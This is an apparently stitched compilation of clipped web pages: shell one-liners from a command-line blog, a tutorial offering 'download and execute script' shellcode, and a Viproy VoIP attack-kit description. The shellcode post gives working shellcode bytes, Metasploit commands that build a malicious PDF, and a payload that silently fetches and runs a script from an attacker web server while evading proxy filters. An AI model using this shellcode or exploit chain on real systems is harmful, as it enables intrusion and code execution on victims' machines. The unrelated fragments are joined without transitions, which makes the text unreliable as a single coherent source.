default parsing of FOR /F. You see, if any of the directory names in the
output of the dir command has a space in them, the FOR /F loop will parse the
directory name and assign the %i variable the value of the text before the
space. We'd only have part of the directory name, which, as Steve Jobs would
say, is a bag of hurt. We need a way to turn off the default space-based
parsing of FOR /F. We can do that by specifying a custom delimiter of a
character that can't be used in a file's name. In Windows, we could use any of
the following / \ : \* ? " < > |. I chose to use a ? here, because no
directory name should have that. Thus, %i will get the full directory name,
spaces and all.  
  
The ^ before the | is also worthy of a bit of discussion. FOR /F loops can iterate over the output of command by specifying a command inside of single quotes in the "in \(\)" part of the FOR loop declaration. But, if the command has any funky characters, including commas, quotation marks, or pipe symbols, we have to put a ^ in front of the funky symbol as an escape so FOR handles it properly. The other option we have is to put the whole command inside of single quote double quote combinations, as in:  
  

[code]

    ... in ('"dir /aD /s /b . | sort /r"')... 
    
[/code]

  
That's a single quote followed by a double quote up front, and a double quote
single quote at the end.  
  
If I have only one funky character in my FOR /F command, I usually just pop in
a ^ in front of it. If I have several of them, rather than escaping each one
with a ^, I use the single-quote double-quote trick.  
  
Going back to our original command, we'll see an error message of "The
directory is not empty." any time we try to rmdir a directory with files in
it. We can get rid of that message by simply taking standard error and
throwing it into nul by appending 2>nul to the overall command above.  
  
Tim Medin \(aka, our PowerShell "Go-To" Guy\) adds:  
The PowerShell version of the command is very similar to Ed's command, with
one notable exception, length.  
  
As Hal explained, we need a list of the directories sorted in depth-first
order. Unfortunately, there isn't an option like "-depth" to do it for us, so
we have to do it the long way. This command will retrieve a depth-first list
of directories:  
  
Short Version:

[code]

    PS C:\> gci -r | ? {$_.PSIsContainer} | sort -desc fullName
    
[/code]

  
Long Version:

[code]

    PS C:\> Get-ChildItem -Recurse | Where-Object {$_.PSIsContainer} |  
          Sort-Object -Descending FullName
    
[/code]

  
The first portion of the command retrieves a recursive directory listing. The
second portion filters for containers \(directories\) only. The directories
are then sorted in reverse order so we end up with a listing similar to that
retrieved by Hal.  
  
For those of you not familiar with PowerShell, the names of these commands
might seem a little odd. The reason for the odd name is that these commands
are very generic. The Get-ChildItem command works like the dir command, but it
can do much more. It can be used to iterate through anything with a
hierarchical structure such as the registry. The PSIsContainer applies to
these generic objects such as directories or registry keys. The $\_ variable
refers to the "current pipeline object." Back to our regularly scheduled
programming...  
  
So we have a depth-first directory listing similar to this:  

[code]

    C:\sna\fu3  
    C:\sna\fu2  
    C:\sna\fu1  
    C:\sna  
    C:\kil\roy3  
    C:\kil\roy2  
    C:\kil\roy1  
    C:\kil  
    C:\foo1\bar3  
    C:\foo1\bar2  
    C:\foo1\bar1  
    C:\foo1
    
[/code]

  
  
Now we need to check if our current directory is blank, so we can later delete
it.  
  

[code]

    !(gci)
    
[/code]

  
  
This command will return True if there are no items in the current directory.
We can use it in a "where-object" command to filter our results.  
  
Finally, we pipe the results into rm \(Remove-Item\). Our final command looks
like this:  
  
Short Version:

[code]

    PS C:\> gci -r | ? {$_.PSIsContainer} | sort -desc FullName |  
          ? {!(gci $_.FullName)} | rm 
    
[/code]

  
Long Version:

[code]

    PS C:\> Get-ChildItem -Recurse | Where-Object {$_.PSIsContainer} |  
          Sort-Object -Descending FullName | Where-Object {!(Get-ChildItem $_.FullName)} |  
          Remove-Item 
    
[/code]

  
Looks like Hal's and Ed's Kung Fu are much shorter, and as they say, "size
does matter."  
  
-Tim Medin
Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

## Wednesday, June 3, 2009

### Episode \#44: Users & Groups \(Part II\)

Hal goes first this time:  
  
Last time in Episode \#43, Ed presented a challenge to list all groups and the
user names that were in each group. But as I was working on Ed's challenge, I
realized that there was another way to look at this data. What if instead of a
list of "users per group", you wanted to get a list of "groups per user"?  
  
This is actually straightforward in Unix:  
  

[code]

    $ **for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort**  
     avahi-autoipd:avahi-autoipd  
    avahi:avahi  
    backup:backup  
    bin:bin  
    bind:bind  
    daemon:daemon  
    games:games  
    gdm:gdm  
    gnats:gnats  
    haldaemon:haldaemon  
    hal:hal adm dialout cdrom plugdev lpadmin admin sambashare  
    [...]
    
[/code]

  
Here we're using "cut" to pull all the user names from /etc/passwd and then
running a loop over them. Inside we output the user name and a trailing colon,
but use the "-n" option on the "echo" statement so the we don't output a
newline. This means that the output of the "groups $u" command will appear on
the same line as the username, immediately after the colon. Finally we're
piping the output of the entire loop into "sort", so we get the information
sorted by the user names.  
  
I wonder if Ed's going to have to go to as much trouble answering my challenge
as I went through answering his...  
  
Ed responds:  
When I first read your challenge, Hal, I was thinking, "Uh-oh... Windows is
gonna make this hard." My gut told me that while mapping groups to users was
easy \("net localgroup \[groupname\]"\), going the other way was gonna be
tough.  
  
But, whenever I need to find something out about users on a Windows box, I
almost always start out by running "net user \[username\]". \(Yes, yes, there
is "wmic useraccount list full" but I usually go there second\). So, I ran
that command and smiled with glee when I saw a list of all of the associated
groups for that user in the output. I started to formulate a FOR /F loop that
would run "net user" to get a list of users and then inside the body of the
loop would run "net user \[username\]" on each... when...  
  
I stopped in my tracks. The "net user" command does this really annoying thing
where it puts the user names in columns, as follows:  
  

[code]

    C:\> net user  
      
    User accounts for \\MYCOMPUTER  
      
    -------------------------------------------------------------------------  
    Administrator cheetah  Guest  
    jane  tarzan   
      
    
    
[/code]

Sure, I could parse those columns with Yet Another FOR Loop \(YAFL\), but that
would be annoying and tiresome. I decided to go for a cleaner way to get a
list of users than "net user", solving the challenge as follows:  
  

[code]

    C:\> for /F "skip=1" %i in ('wmic useraccount get name') do @echo. & echo %i &  
      net user %i | find "*"  
      
    Administrator  
    Local Group Memberships  *Administrators  
    Global Group memberships *None  
      
    cheetah  
    Local Group Memberships  *Users  
    Global Group memberships *None  
      
    Guest  
    Local Group Memberships  *Guests  
    Global Group memberships *None  
      
    jane  
    Local Group Memberships  *Administrators  *Backup Operators  
    Global Group memberships *None  
      
    tarzan  
    Local Group Memberships  *Users   *HelpServicesGroup  
    Global Group memberships *None  
    
    
[/code]

My command here is simply running "wmic useraccount get name", which is a
clean way to get a list of account names from the local box. I use a FOR /F
loop to iterate over the output of this command, skipping the first line
\(which contains the "Name" column header from the wmic output\). At each
iteration through the loop, I skip a line \(echo.\) to make our output
prettier. Then, I display the username \(echo %i\) and run the "net user
\[username\]" command to get all of the details associated with that account.
Now, I pipe the output of the "net user \[username\]" command through the find
command to locate lines that have a \* in them. Yes, that annoying little \*
that I was complaining about in Episode \#43. But, here, I'm using it as a
selector to grab the group names. If Windows annoyingly puts \*'s in front of
group names, darnit, I'm gonna use them to my advantage. No sense trying to
pee against the wind.... er... Windows, that is.  
  
Sure, sure, we could parse this output further to remove out the text that
says "Local Group Memberships" and "Global Group memberships" \(btw, didja
note the inconsistency in the capitalization of Membership and membership?
Gee, thanks, Microsoft\). If I really needed to, I'd parse that stuff out
using another FOR /F loop with a delimiter of \*. But, that would make the
command unnecessarily complicated and ugly, for it already has the information
we want, in a relatively useful form.  
  
I also like this solution, because it shows a useful mixture of "wmic
useraccount" with "net user". It's not every day that you get to use the two
of them together in a convenient fashion like this. So, I'm happy, and that's
really what command line kung fu is all about... making people happy.

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

## Monday, June 1, 2009

### Episode \#43: Users & Groups

Ed rushes in:  
  
Here's an easy one that I use all the time when analyzing a system. When
auditing a box or investigating a compromised system, I often want to double
check which groups are defined locally, along with the membership of each
group. I especially focus on who is in the admin group. We can dump a list of
groups as follows:  
  

[code]

    C:\> net localgroup
    
[/code]

  
Then, we can check the accounts associated with each group using:  
  

[code]

    C:\> net localgroup [groupname]
    
[/code]

  
That's all well and good, but how can we get all of this information at one
time? We could use a FOR /F loop to iterate on the output of our first command
\(group names\) showing the membership \(user names\). Put it all together,
and you have:  
  

[code]

    C:\> for /F "skip=4 delims=*" %i in ('net localgroup ^| find /v  
    "The command completed successfully"') do @net localgroup "%i"
    
[/code]

  
Here, I'm using a for /F loop to parse through the output of "net localgroup".
I filter \(find\) through the output of that command to choose lines that do
not have \(/v\) the annoying "The command completed successfully" output.
Otherwise, I'd get errors. I define some custom parsing in my FOR /F loop to
skip the first 4 lines of cruft, and set a delimeter of \* to remove that
garbage that Microsoft prepends to each group name. BTW, what's with Microsoft
making the output of their commands so ugly? Why do we have to parse all this
garbage? How about they make the output useful as is? Oh well... Anyway, once
I've parsed the output of "net localgroup" to get a group list, I push the
output through "net localgroup" again to get a list of members.  
  
Hal's going off the deep end:  
  
Ed's challenge seemed deceptively simple when I first read it. Then my brain
kicked in, and as usual that made things infinitely more difficult. At first I
thought this was going to be as simple as using "cut" to pull the appropriate
fields out of /etc/group:  
  

[code]

    $ **cut -f1,4 -d: /etc/group**  
     root:  
    daemon:  
    bin:  
    sys:  
    adm:hal  
    [...]
    
[/code]

  
Alternatively, if you only cared about groups that actually had users listed
in the last field, you could do:  
  

[code]

    $ **cut -f1,4 -d: /etc/group | grep -v ':$'**  
     adm:hal  
    dialout:hal  
    cdrom:hal  
    audio:pulse  
    plugdev:hal  
    lpadmin:hal  
    admin:hal  
    sambashare:hal
    
[/code]

  
But now my uppity brain intruded with an ugly fact: by only looking at
/etc/group, we're ignoring the users' default group assignments in
/etc/passwd. What we really need to do is merge the information in /etc/passwd
with the group assignments in /etc/group. I'll warn you up front that my final
solution skirts perilously close to the edge of our "no scripting" rule, but
here goes.  
  
We're going to be using the "join" command to stitch together the /etc/passwd
and /etc/group files on the group ID column. However, "join" requires both of
its input files to be sorted on the join field. So before we do anything we
need to accomplish this:  
  

[code]

    $ **sort -n -t: -k4 /etc/passwd >passwd.sorted**  
     $ **sort -n -t: -k3 /etc/group >group.sorted**
    
[/code]

  
In the "sort" commands, "-n" means do a numeric sort, "-t" specifies the field
delimiter, and "-k" is used to specify the field\(s\) to sort on.  
  
Once we have the sorted files, producing the output we want is trivial:  
  

[code]

    $ **join -a 1 -t: -1 3 -2 4 group.sorted passwd.sorted | \  
     awk -F: '{ grps[$2] = grps[$2] "," $4 "," $5 }  
            END { for ( g in grps ) print g ":" grps[g] }' | \  
    sed -r 's/(:|,),*/\1/g; s/,$//' | sort**  
    [...]  
    list:list  
    lpadmin:hal  
    lp:hplip,lp  
    mail:mail  
    man:man  
    messagebus:messagebus  
    mlocate:  
    netdev:  
    news:news  
    nogroup:nobody,sshd,sync  
    [...]
    
[/code]

  
While I hate to belabor the obvious, let me go over the above example line-by-
line for the two or three folks reading this blog who might be confused:  
  

  *   

  * "join" is a bit funky. The "-t" option specifies the column delimiter, just like "sort", and you can probably guess that "-1 3" and "-2 4" are how we're specifying the join column in file 1 \("-1"\) and file 2 \("-2"\). Normally "join" will only output lines when it can find lines in both files that it can merge together. However, the "-a 1" option tells "join" to output all lines from file 1, even if there's no corresponding line in file 2.  
  
So that you can understand the rest of the command-line above, let me show you
some of the output from the "join" command by itself:  
  

[code]    $ **join -a 1 -t: -1 3 -2 4 group.sorted passwd.sorted**  
    [...]  
    124:sambashare:x:hal  
    125:ntp:x::ntp:x:112::/home/ntp:/bin/false  
    126:bind:x::bind:x:113::/var/cache/bind:/bin/false  
    1000:hal:x::hal:x:1000:Hal Pomeranz,,,:/home/hal:/bin/bash  
    65534:nogroup:x::nobody:x:65534:nobody:/nonexistent:/bin/sh  
    65534:nogroup:x::sshd:x:114::/var/run/sshd:/usr/sbin/nologin  
    65534:nogroup:x::sync:x:4:sync:/bin:/bin/sync
    
[/code]

  
When doing its output, "join" puts the merge column value \(the GID in our
case\) up at the front of each line of output. Then you see the remaining
fields of the first input file \(group name, group password, user list\),
followed by the remaining fields of the second input file \(user name, BSD
password, UID, and so on\). The "sambashare" line at the top of our sample
output is an example of a group that had no corresponding users in
/etc/passwd. The "nogroup" lines toward the bottom of the output are an
example of a single group that actually has several users associated with it
in /etc/passwd.  
  
Somehow we've got to pull the output from the "join" command into a
consolidated output format. That's going to require some pretty flexible text
processing, plus the ability to merge user names from multiple lines of
output, like the "nogroup" lines in our sample output. Sounds like a job for
awk.

  *   

  * In the awk expression I'm using "-F:" to tell awk to split the input lines on colons, rather than whitespace which is the default. Now the group name is always in field 2, and the list of users from the /etc/group is in field 4, and the user name from /etc/passwd is in field 5. As I read each line of input, I'm building up an array indexed by group name that contains a list of all the values in fields 4 and 5, separated by commas. In the "END" block that gets processed when the input is exhausted I'm outputting the group name, a colon, and the list of users.  
  
The only problem is that sometimes field 4 and field 5 are null, so you get
some extra commas in the output:  
  

[code]    $ **join -a 1 -t: -1 3 -2 4 group.sorted passwd.sorted | \  
     awk -F: '{ grps[$2] = grps[$2] "," $4 "," $5 }  
            END { for ( g in grps ) print g ":" grps[g] }'**  
    [...]  
    sambashare:,hal,  
    nogroup:,,nobody,,sshd,,sync  
    [...]
    
[/code]

  
A little "sed" will clean that right up.

  *   

  * Our "sed" expression actually contains two substitution operations separated by a semicolon: "s/\(:|,\),\*/\1/g" and "s/,$//". Both substitutions will be applied to all input lines.  
  
The first subsitution is the most complex. We're matching either a colon or a
comma followed by some number of extra commas and replacing that with the
initial colon or comma. This allows us to remove all of the extra commas in
the middle of the output lines.  
  
The second substitution matches commas at the end of the line and removes them
\(replaces them with nothing\).

  *   

  
We throw a final "sort" command at the end of the pipeline so we get the
output sorted by group name, but the hard part is basically over.  
  
Clever readers will note that there's a potential problem with my solution.
What if the "nogroup" entry in /etc/group had a user list like
"nogroup:x:65534:foo,bar"? Because there were multiple /etc/passwd lines that
were associated with "nogroup", I'd end up repeating the users in from the
list in /etc/group multiple times:  
  

[code]

    $ **join -a 1 -t: -1 3 -2 4 group.sorted passwd.sorted | ... | grep nogroup**  
     nogroup:foo,bar,nobody,foo,bar,sshd,foo,bar,sync
    
[/code]

  
The real solution requires introducing some conditional logic into the middle
of the awk expression in order to avoid this duplication:  
  

[code]

    $ **join -a 1 -t: -1 3 -2 4 group.sorted passwd.sorted | \  
     awk -F: '{ if (grps[$2]) { grps[$2] = grps[$2] "," $5 }  
              else          { grps[$2] = $4 "," $5 } }  
            END { for ( g in grps ) print g ":" grps[g] }' | \  
    sed -r 's/(:|,),*/\1/g; s/,$//' | sort**  
    [...]  
    nogroup:foo,bar,nobody,sshd,sync  
    [...]
    
[/code]

  
The "if" statement in the middle of the awk code is checking to see whether
we've seen this group before or not. The first time we see a group \(the
"else" clause\), we make a new entry in the "grps" array with both the user
list from /etc/group \($4\) and the user name from the /etc/passwd entry
\($5\). Otherwise, we just append the user name info from the /etc/passwd
entry and don't bother re-appending the group list from /etc/group.  
  
I was able to successfully type the above code into a single command-line, but
it's clearly a small script at this point. So I'd say that it at least goes
against the spirit of the rules of this blog.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

July 2009 May 2009 Home

Subscribe to: Posts \(Atom\)

## Followers

  *[5:00 AM]: 2009-06-01T05:00:00-04:00

# The Grey Corner: Download and Execute Script Shellcode

**Created:**| _4/10/2011 11:50:16 AM_  
---|---  
**Updated:**| _4/10/2011 11:58:23 AM_  
**Author:**| __  
**Tags:**| _shellcode Tutorials_  
  

## Download and Execute Script Shellcode  

**Introduction**  
  
Something I have been working on lately is shellcode to download and execute a
script on a Windows system. "What?" you may be thinking, "Why the hell would
you want to do that when there already exists shellcode to download and
execute _proper_ Windows executables?"  
  
The short answer to that question is "To bypass restrictive proxy servers"...  
  
...  
  
Need more detail than that? OK...  
  
**Whats the problem with Restrictive Proxies?**  
  
Restrictive proxy servers, commonly used in corporate environments, have a
number of features that can be used to block potentially malicious traffic
from reaching the client systems they mediate web traffic for. Some of the
features they have that can cause problems for normal download and execute
shellcode which can be bypassed by the use of download and execute _script_
shellcode are as follows:  

  * Blocking based on patterns in the URL, such as any URL ending in .exe
  * Blocking based on analysis of the content of web responses and requests, such as any response that contains a file signature consistent with a Windows executable

  
Lets look at each of these features in a little more detail.  
  
For the purposes of this explanation, we will assume the following network
environment, where the client sits in a network separated from the Internet
\(and the attackers web server\) via a restrictive firewall. We will assume
that the firewall only allows outgoing communication to web sites via the
proxy server, and no other direct communication in or out is allowed \(with
the possible exception of DNS traffic, the exploitation possibilities of which
I wont go into right now\). The logical diagram below illustrates the section
of the network that we are interested in.  
  

<img src='img/Temp2_8066.png' width='640' height='142' />

  
  
Note that this diagram shows the client is connected to the firewall via the
proxy server. Now this does not actually have to be true from the perspective
of how traffic in the network is routed \(e.g. layer 3 of the OSI model\), it
is just meant to illustrate the all web traffic must be forwarded through the
proxy for it to reach the Internet. This goal can be achieved by either
configuring the browser proxy settings to use the proxy and blocking all
direct traffic to the Internet using our Firewall, or by actually routing any
layer three traffic destined for the Internet through our proxy box, and
running the proxy service in transparent mode. \(Although in the case of
running the proxy transparently you might have to watch for web traffic on non
standard ports\).  
  
The important point is that all web traffic goes through the proxy and gets
checked by it, and no other traffic can exit the network so any outgoing
traffic must be tunneled through the proxy.  
  
Now lets look at the impact that proxy filtering can have on the operation of
download and execute shellcode. Lets first examine the case of blocking
content via patterns in the URL. Blocking based on patterns in the URL is one
of the most simple methods to actually bypass, however some variants of
download and execute shellcode are caught by it because they use the filename
from the URL as the filename to use when saving the downloaded content to
disk.  
  
In the examples below, we will be trying to get our executable file,
"evil.exe" onto the target client machine from our webserver located at
www.attacker.com.  
  

Please note that these filenames and URLs are being used for the purpose of
example only. I don't own www.attacker.com and I wouldn't recommend that you
try and access evil.exe from that site.

  
  
So what happens when we make a request for an exe file to a proxy server that
blocks based on a pattern in the URL? The proxy server usually just
immediately replies with a denied message, without even contacting the remote
web server, as shown in the diagram below.  
  

<img src='img/Temp2_8067.png' width='640' height='106' />

  
  
As mentioned before, this filtering method is actually really easy to bypass.
All we need to do is rename the extension of the file on the attackers web
server, and as long as the proxy server is not doing any type of content
checking, the request will complete successfully.  
  
Lets examine the result of the same request when "evil.exe" is renamed to
"evil.txt" on the webserver.  
  

<img src='img/Temp2_8065.png' width='640' height='110' />

  
  
The download completes successfully, because in this case the proxy is only
checking the text of the URL and not the received content. We don't actually
need script downloading shellcode to bypass this type of proxy, we would just
need download and exec shellcode that allowed files with any file extension to
be downloaded, saved to disk with a .exe extension, and then executed.  
  
But what about proxy servers that actually check the content of files they
receive? In this case, simply renaming the file wont allow us to bypass the
proxy. Once the proxy receives the response from the remote web site, analyses
its contents and finds a file siganture for an executable file, it will block
the traffic.  
  
Lets see what happens when our executable file "evil.txt" is downloaded
through a proxy that performs file signature matching on content.  
  

<img src='img/Temp2_8064.png' width='640' height='108' />

  
As soon as the web content is received by the proxy from the attackers
website, and is checked, it is recognised as containing executable content,
and a denied message is returned to the client.  
  
This is where shellcode that can download and execute a script becomes useful.
Because the script data is text based, it will bypass proxy servers that
perform blocking by matching file signature, because script content is
essentially the same as html which a proxy must allow in order to support
browsing of regular web pages. Now our content can still be caught by file
extension \(if we name our filename \[whatever\].vbs\), or by text pattern
matching \(if we use a number of potentially evil VBScript or JScript commands
in our script\), but either of those protections is easy to bypass if we
rename the file extension and obfuscate our script.  
  
So if we replaced our evil.txt with script content and not executable content,
our download should proceed as below, with the content being successfully
delivered to the target victim PC.  
  

<img src='img/Temp2_8065.png' width='640' height='110' />

  
  
**What can be done with a script?**  
  
So what exactly can we do with script content delivered to our victim system?
A number of things actually, only limited by your imagination. Some possible
examples of things we could do with a script are using it to:  

  * Run existing executables already on the target system, or make any other changes on the target system that the user we run our script as is entitled to make
  * Contain a encoded copy of an executable file, which it can then decode, write to disk and run
  * Download copies of encoded executables from the attackers web site, decode them, and run them

  
I have used this shellcode in order to exploit a system behind a restrictive
proxy and tunnel out a cmd shell via http through the proxy, and I will go
into details of how that was achieved in a future post.  
  
**The Code**  
  
My download and execute script shellcode is based on the download and execute
code from here and I have provided copies in assembly form as well as a
Metasploit payload which you can copy to /modules/payloads/singles/windows/ in
your Metasploit install directory \(probably /opt/metasploit3/msf3/ on
Linux\).  
  
I have tested the shellcode successfully on Windows XP SP2 and SP3 and Windows
Vista SP2.  
  
Get the code here:  

  * Assembly source
  * Metasploit payload

**Edit** : Updated to support Windows 7, more details here.  
  
  
**Usage Examples**  
  
If you want to use the assembly form of the code, put your chosen URL at the
end of file in the db line, and assemble to descript.bin via nasm using the
following command  
  

> lupin@lion:~/proxybypass$ nasm -f bin descript.asm -o descript.bin
  
Then you can run it through msfencode to get rid of bad characters like so  
  

> lupin@lion:~/proxybypass$ cat descript.bin | msfencode -a x86 -b '\x00\x0a\x0d' -t c
  
Or just output it in c hash format using perl like so  
  

> lupin@lion:~/proxybypass$ cat descript.bin | perl -e 'while \(read STDIN, $d, 1\) \{print "\\\x" . sprintf\( "%02x", ord\($d\)\);\}; print "\n"'
  
If you want to use the Metasploit module \(which is actually a much easier way
to use the shellcode\), just use it like you would any other Metasploit
payload, providing the URL to download the script from via the "URL" option.  
  
Heres an example using msfpayload, to output shellcode suitable for pasting
into an exploit you create yourself:  
  

> lupin@lion:~$ msfpayload windows/download\_exec\_script
> URL=http://192.168.56.1/evil.tmp C  
>  /\*  
>  \* windows/download\_exec\_script - 256 bytes  
>  \* http://www.metasploit.com  
>  \* URL=http://192.168.56.1/evil.tmp  
>  \*/  
>  unsigned char buf\[\] =  
>  "\xeb\x74\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"  
>  "\xad\x8b\x40\x08\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"  
>  "\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x37"  
>  "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"  
>  "\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28"  
>  "\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01"  
>  "\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\x5f\x81\xef"  
>  "\x98\xff\xff\xff\xe8\x90\xff\xff\xff\x89\xc3\xeb\x05\xe8\xeb"  
>  "\xff\xff\xff\x68\x8e\x4e\x0e\xec\x53\xe8\x8f\xff\xff\xff\x31"  
>  "\xc9\x66\xb9\x6f\x6e\x51\x68\x75\x72\x6c\x6d\x54\xff\xd0\x68"  
>  "\x36\x1a\x2f\x70\x50\xe8\x75\xff\xff\xff\x31\xc9\x51\x51\x8d"  
>  "\x37\x81\xc6\xee\xff\xff\xff\x8d\x56\x0c\x52\x57\x51\xff\xd0"  
>  "\x68\x98\xfe\x8a\x0e\x53\xe8\x56\xff\xff\xff\x41\x51\x56\xff"  
>  "\xd0\x68\x7e\xd8\xe2\x73\x53\xe8\x46\xff\xff\xff\xff\xd0\x77"  
>  "\x73\x63\x72\x69\x70\x74\x20\x2f\x2f\x42\x20\x61\x2e\x76\x62"  
>  "\x73\x00\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x36"  
>  "\x38\x2e\x35\x36\x2e\x31\x2f\x65\x76\x69\x6c\x2e\x74\x6d\x70"  
>  "\x00";
  
And heres an example using msfconsole to create a malicious PDF file:  
  

> lupin@lion:~$ msfconsole  
>  ...\[SNIP\]...  
>  msf > use windows/fileformat/adobe\_collectemailinfo  
>  msf exploit\(adobe\_collectemailinfo\) > set PAYLOAD
> windows/download\_exec\_script  
>  PAYLOAD => windows/download\_exec\_script  
>  msf exploit\(adobe\_collectemailinfo\) > set URL
> http://192.168.56.1/evil.tmp  
>  URL => http://192.168.56.1/evil.tmp  
>  msf exploit\(adobe\_collectemailinfo\) > set OUTPUTPATH /tmp  
>  OUTPUTPATH => /tmp  
>  msf exploit\(adobe\_collectemailinfo\) > set FILENAME evil.pdf  
>  FILENAME => evil.pdf  
>  msf exploit\(adobe\_collectemailinfo\) > show options  
>  
>  Module options:  
>  
>  Name Current Setting Required Description  
>  \---- --------------- -------- -----------  
>  FILENAME evil.pdf yes The file name.  
>  OUTPUTPATH /tmp yes The location of the file.  
>  
>  
>  Payload options \(windows/download\_exec\_script\):  
>  
>  Name Current Setting Required Description  
>  \---- --------------- -------- -----------  
>  URL http://192.168.56.1/evil.tmp yes The URL pointing to the script. Don't
> use .txt, .htm file extentions\!  
>  
>  
>  Exploit target:  
>  
>  Id Name  
>  \-- ----  
>  0 Adobe Reader v8.1.1 \(Windows XP SP0-SP3 English\)  
>  
>  
>  
>  msf exploit\(adobe\_collectemailinfo\) > exploit  
>  
>  \[\*\] Creating 'evil.pdf' file...  
>  \[\*\] Generated output file /tmp/evil.pdf  
>  \[\*\] Exploit completed, but no session was created.  
>  msf exploit\(adobe\_collectemailinfo\) >
  
  
**Notes on Use of the Shellcode**  
  
This shellcode uses the URLDownloadToFile function from urlmon.dll to actually
download the script file from the web. The following results from this:  

  * The shellcode will use Internet Explorers proxy settings to make the web request, and if the proxy server uses integrated Windows Authentication the logon details will be automatically provided in response to a challenge. So far, I have only tested this via exploiting software run as the locally logged on user, so Im not sure what will happen regarding Windows Authentication if you happen to exploit a program running as a different user.
  * URLs with files ending in particular extentions will not be saved to disk. Extentions .txt and .htm are the ones I have discovered so far that do not get saved, but there may be more. Using the .tmp extension allows the file to be correctly saved to disk.

  
There are two zero bytes in the shellcode, at the end of each of the db
strings at the end of the code itself. These were left in place in order to
simplify the code and to allow easy modification of the URL without having to
change offsets in the code to re-add the zero byte at runtime. Obviously, if
you need to use this shellcode in an exploit that is intolerant of zero byte
characters, encode it first.  
  
The script is being saved to disk as a.vbs in the present working directory of
the program that you exploit. That means that the account that the program
runs as must have permissions to both read and write to this directory for the
shellcode to be effective. If this is a problem the code can always be
modified to save to the temp directory instead, although this will increase
the size of the code. The fact that the file extension is set as .vbs also
means that the code you provide must be VBScript code. If you want to use
JScript, just modify the appropriate db entry near the end of the assembly
code to use a .js extension instead.  
  
The downloaded script is also run using wscript in batch mode \(//B\) which
will prevent any popup messages \(including those that result from
"WScript.Echo" commands\) from appearing on the target system. This was done
for stealth reasons - without it you get a great honking popup on the victim
system if the script does not exist \(e.g. if the download fails\) or if you
have an error in your code that you havent silenced using "On Error GoTo
Next". So given that 'WScript.Echo "Hello world"' wont work as a test script,
if you want to test that the code works properly use something like the
following, which will create file c:\blah.txt and write "Blah." to it.  
  

> Set FSO = CreateObject\("Scripting.FileSystemObject"\)  
>  Set File = FSO.CreateTextFile\("c:\blah.txt", True\)  
>  File.WriteLine\("Blah."\)  
>  File.Close
  
If you modify the assembly version of the file and want your changes to be
reproduced in the Metasploit payload version, its quite easy to do so.
Assuming the two db statements are still left at the end of the shellcode, all
you need to do is assemble the code using nasm, output the binary file in c
hash format using perl, cut everything after the second last zero byte
\(\x00\) character in the c hash output and then paste the resulting data into
the download\_exec\_script.rb file, taking note of the proper syntax.  
  
And of course the standard disclaimer applies, don't use this code to do
anything evil, like breaking into systems without appropriate permission.  
  
Anyway, have fun with the code and be sure and drop me a line and let me know
if you find it useful or have used it to do something cool.

# Viproy - VoIP Penetration Testing and Exploitation Kit

**Created:**| _6/29/2017 3:59:53 PM_  
---|---  
**Updated:**| _6/29/2017 3:59:53 PM_  
**Author:**| __  
**Tags:**| __  
  

  

<img src='img/voip_hack.png' width='640' height='290' />

  

Viproy Voip Pen-Test Kit provides penetration testing modules for VoIP
networks. It supports signalling analysis for SIP and Skinny protocols, IP
phone services and network infrastructure. Viproy 2.0 is released at Blackhat
Arsenal USA 2014 with TCP/TLS support for SIP, vendor extentions support,
Cisco CDP spoofer/sniffer, Cisco Skinny protocol analysers, VOSS exploits and
network analysis modules. Furthermore, Viproy provides SIP and Skinny
development libraries for custom fuzzing and analyse modules.  

  

<img src='img/11602_faraday-728x90+%282%29.png' width='728' height='90' />

  
**Current Version and Updates**  
Current version: 4.1 \(Requires ruby 2.1.X and Metasploit Framework Github
Repo\)  
Pre-installed repo: https://github.com/fozavci/metasploit-framework-with-
viproy  
  
**Homepage of Project**  
http://viproy.com  
  
**Talks**  
  
**Black Hat USA 2016 - VoIP Wars: The Phreakers Awaken**  
https://www.slideshare.net/fozavci/voip-wars-the-phreakers-awaken  
https://www.youtube.com/watch?v=rl\_kp5UZKlw  
  
**DEF CON 24 - VoIP Wars: The Live Workshop**  
To be added later  
  
**Black Hat Europe 2015 - VoIP Wars: Destroying Jar Jar Lync**  
http://www.slideshare.net/fozavci/voip-wars-destroying-jar-jar-lync-
unfiltered-version  
https://youtu.be/TMdiXYzY8qY  
  
**DEF CON 23 - The Art of VoIP Hacking Workshop Slide Deck**  
http://www.slideshare.net/fozavci/the-art-of-voip-hacking-defcon-23-workshop  
https://youtu.be/hwDD7K9oXeI  
  
**Black Hat USA 2014 / DEF CON 22 - VoIP Wars: Attack of the Cisco Phones**  
https://www.youtube.com/watch?v=hqL25srtoEY  
  
**DEF CON 21 - VoIP Wars: Return of the SIP**  
https://www.youtube.com/watch?v=d6cGlTB6qKw  
  
**Attacking SIP/VoIP Servers Using Viproy**  
https://www.youtube.com/watch?v=AbXh\_L0-Y5A  
  
**Current Testing Modules**  

  * SIP Register
  * SIP Invite
  * SIP Message
  * SIP Negotiate
  * SIP Options
  * SIP Subscribe
  * SIP Enumerate
  * SIP Brute Force
  * SIP Trust Hacking
  * SIP UDP Amplification DoS
  * SIP Proxy Bounce
  * Skinny Register
  * Skinny Call
  * Skinny Call Forward
  * CUCDM Call Forwarder
  * CUCDM Speed Dial Manipulator
  * MITM Proxy TCP
  * MITM Proxy UDP
  * Cisco CDP Spoofer
  * Boghe VoIP Client INVITE PoC Exploit \(New\)
  * Boghe VoIP Client MSRP PoC Exploit \(New\)
  * SIP Message with INVITE Support \(New\)
  * Sample SIP SDP Fuzzer \(New\)
  * MSRP Message Tester with SIP INVITE Support \(New\)
